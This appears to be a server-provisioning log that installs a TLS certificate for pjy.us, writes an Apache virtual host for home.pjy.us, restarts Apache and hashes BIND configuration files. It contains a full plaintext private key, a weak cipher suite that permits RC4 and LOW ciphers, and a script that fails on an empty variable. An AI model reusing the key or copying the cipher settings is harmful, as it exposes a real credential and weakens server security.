MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-29 16:46:58: Establishing a connection
2025-10-29 16:46:59: 

PUT: /tmp/pkp861275

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'
59:ae:74:2f:3b:97:b6:9b:34:7a:ef:c4:5a:5d:42:72

-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBaWoD3fJMRiDSkiHxDHseuF5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMTUyWhcNMjYwMTI1MDUwMTUxWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDhQ6RfnI4G
TNDlI5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZq
r99jfIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1B
DBByWdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQ
uesaQhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7O
yINJL/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/o
R3pw5OFiMpZxAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFEuC
41Et+PNj/z+HhoJssnJqPbIGMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzEyMi5jcmwwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBJnJtp3h187Pw2
3s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZokQN/rAAAEAwBIMEYCIQCXbia/RQGs
gly1egQvpc9jD4UCSxbRujX3LrxOgChD6QIhANXJ0F/0eVurEFxzZS9+vgVd5gOY
D69sFfrRKbectJbkAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGaJEDf+QAABAMASDBGAiEA7d4kkN1ZWVa4bMh11M3wzST6GsTpe/tbjyfdOsMx
83UCIQDy9MTiAX+/V50ydi6/B2b/vvjd/FJLoc9B2E+Bio0SKDANBgkqhkiG9w0B
AQsFAAOCAQEAecrW1oP2hgBbN9R+KrsnrIgPIYmrYuXa6v19S5UoQpTkvXVPV62j
TEwOIDCjWSqxG0QQQ3Zh9oPvWI2JMhNHccfCzUmn1OhOagTghzTEDQohuP/fVFwz
3fLJtLBUo+0gTxzgdXyw61cxDsPRFFuN4Ogiwuaxk/7H7MUJNYMFzcB3i3s+dhdS
mg5IOCLklaIHfFhvC1rBGBakEoh1jMgDfDRNmPHUt0NPRNJ+7Fy9kKAoBEjNlxh4
k3Tolz47rCbWawsbTGQOLMew/9OS3EOKcwcpPT83zwflT8qtRj4T1115t/infjZz
OVtXru3disDuvJL1pVtEVv4z+5UJuyBxlQ==
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhQ6RfnI4GTNDl
I5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZqr99j
fIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1BDBBy
WdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQuesa
QhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7OyINJ
L/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/oR3pw
5OFiMpZxAgMBAAECggEBAML2OUBrDdzUBQQcgMI3cC2FZ43YIkMQ/e1SoJnGoQBY
ZXDZOvt1FRuENHrG5zz/yMQ+zRjhxswldVD0iGy032G3LYmSfy9mJPXBvAIwRGa/
IxygsSDBQ+3Rka/BVQfqWFpllzA9BN6UY3Ok2kZApklgdIDHNgO0sq2euGKC6duI
xV55kHE1bGkMi8ODqkTZxa3z+6ulQrT46hkHXEbvzYyaRIckQnGNg4egy2na+GWA
PkjjOcMhv2gikO812gTsRPGc3mALvpQ1LyuE5TNbqyf+h8HDjhzUIwQ1nQEpy/wl
7FaGhXWzCEpt/pi3txxzzN1bF8aeEOaUDmeMIqUrGuUCgYEA+DYjWJMChsHegBUf
QUyY5rdVWHhOJwJ9OBkvYBZuu164Zq2+kgr28mcks72TP8qcM5f4+Ag6BUESpWDN
E6AI2MtorY+ErdDCv5YLc7DtXcLoHATFatzHuvuHuYVM9lW1kRHAIaVhUMuL9dUK
D+XyOvJVK9QmOpT2iHX8AeECtmcCgYEA6FUrsezAjo1rY6uSeR2QOaSAwsvl4H0/
mLJBRh4cQNo3oZwdkdh2SHNZS0/1LLLmqIBhQyEv8KVNut60nNc8KWwOOd+4Qjj/
xzCd/m4BLlV1NFgutSkPxZfwNiAuxdClhSCcx+RP1f9KuzCpFH2suFwh1cUfFY3u
TVzzN3s9VWcCgYEAqVYOATSyaYtEJ+/BFgSS3/w9npDdCKIbGbWc65oCS5RQi8SH
Gg2e8jtJ/9Ia7k9lB5HryhOaudDuTqNe5b+tqXIEZTxfkVG2O4y7HV+cYPZC8jKT
GNes77UAoKH/oqNQrrsEcC/q13s2bi28oqIHAw4m6zLeLeNI2kpb9lAzUIsCgYBN
9LYSn2QE8QLFkL43EWphTQc/VXcumhgKvlUUl+nXAOGFwoJRe5ZEvR+LG6sicmze
wSThh3M0heLM/wkPT1EKfQ1Q8fY7kjCQv4lj47lVuKr5A1W4x6xZGqApKSdIjLfd
MZIpqDv5jA2hPbSeAYVA3vkjZ18EtnjtUHDzftCXpQKBgBuk3Fwmr0a42/Rf6VqU
5L3zXBgiWv306otvDcY+MyVtRGmkJQW2wWxCFXUzVnQ0Rr13NzWW81B5pH2jaDSW
ijOAfjGUDWT+3EvZiilh84d+A+x/FLxgcA7BoYzqVp/mh9u0HFHv5Gk/T4HZxThn
phYWdW+BIkRu8/l+JoXnunRZ
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-29 16:46:59: 

chmod 755 /tmp/pkp861275; /tmp/pkp861275; rm /tmp/pkp861275

2025-10-29 16:47:00: 


dir=/etc/ssl/certs


2025-10-29 16:47:00: 

PUT: /tmp/pkp704251

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_home_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1'
fi


2025-10-29 16:47:00: 

chmod 755 /tmp/pkp704251; /tmp/pkp704251; rm /tmp/pkp704251

2025-10-29 16:47:00: 


/tmp/pkp704251: line 60: [: !=: unary operator expected




STDERR:
/tmp/pkp704251: line 60: [: !=: unary operator expected


2025-10-29 16:47:00: 

PUT: /tmp/pkp824417

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-29 16:47:01: 

chmod 755 /tmp/pkp824417; /tmp/pkp824417; rm /tmp/pkp824417

2025-10-29 16:47:01: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-29 16:47:01: Establishing a connection
2025-10-29 16:47:01: 

PUT: /tmp/pkp414156

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-29 16:47:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp414156; rm /tmp/pkp414156'

2025-10-29 16:47:02: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
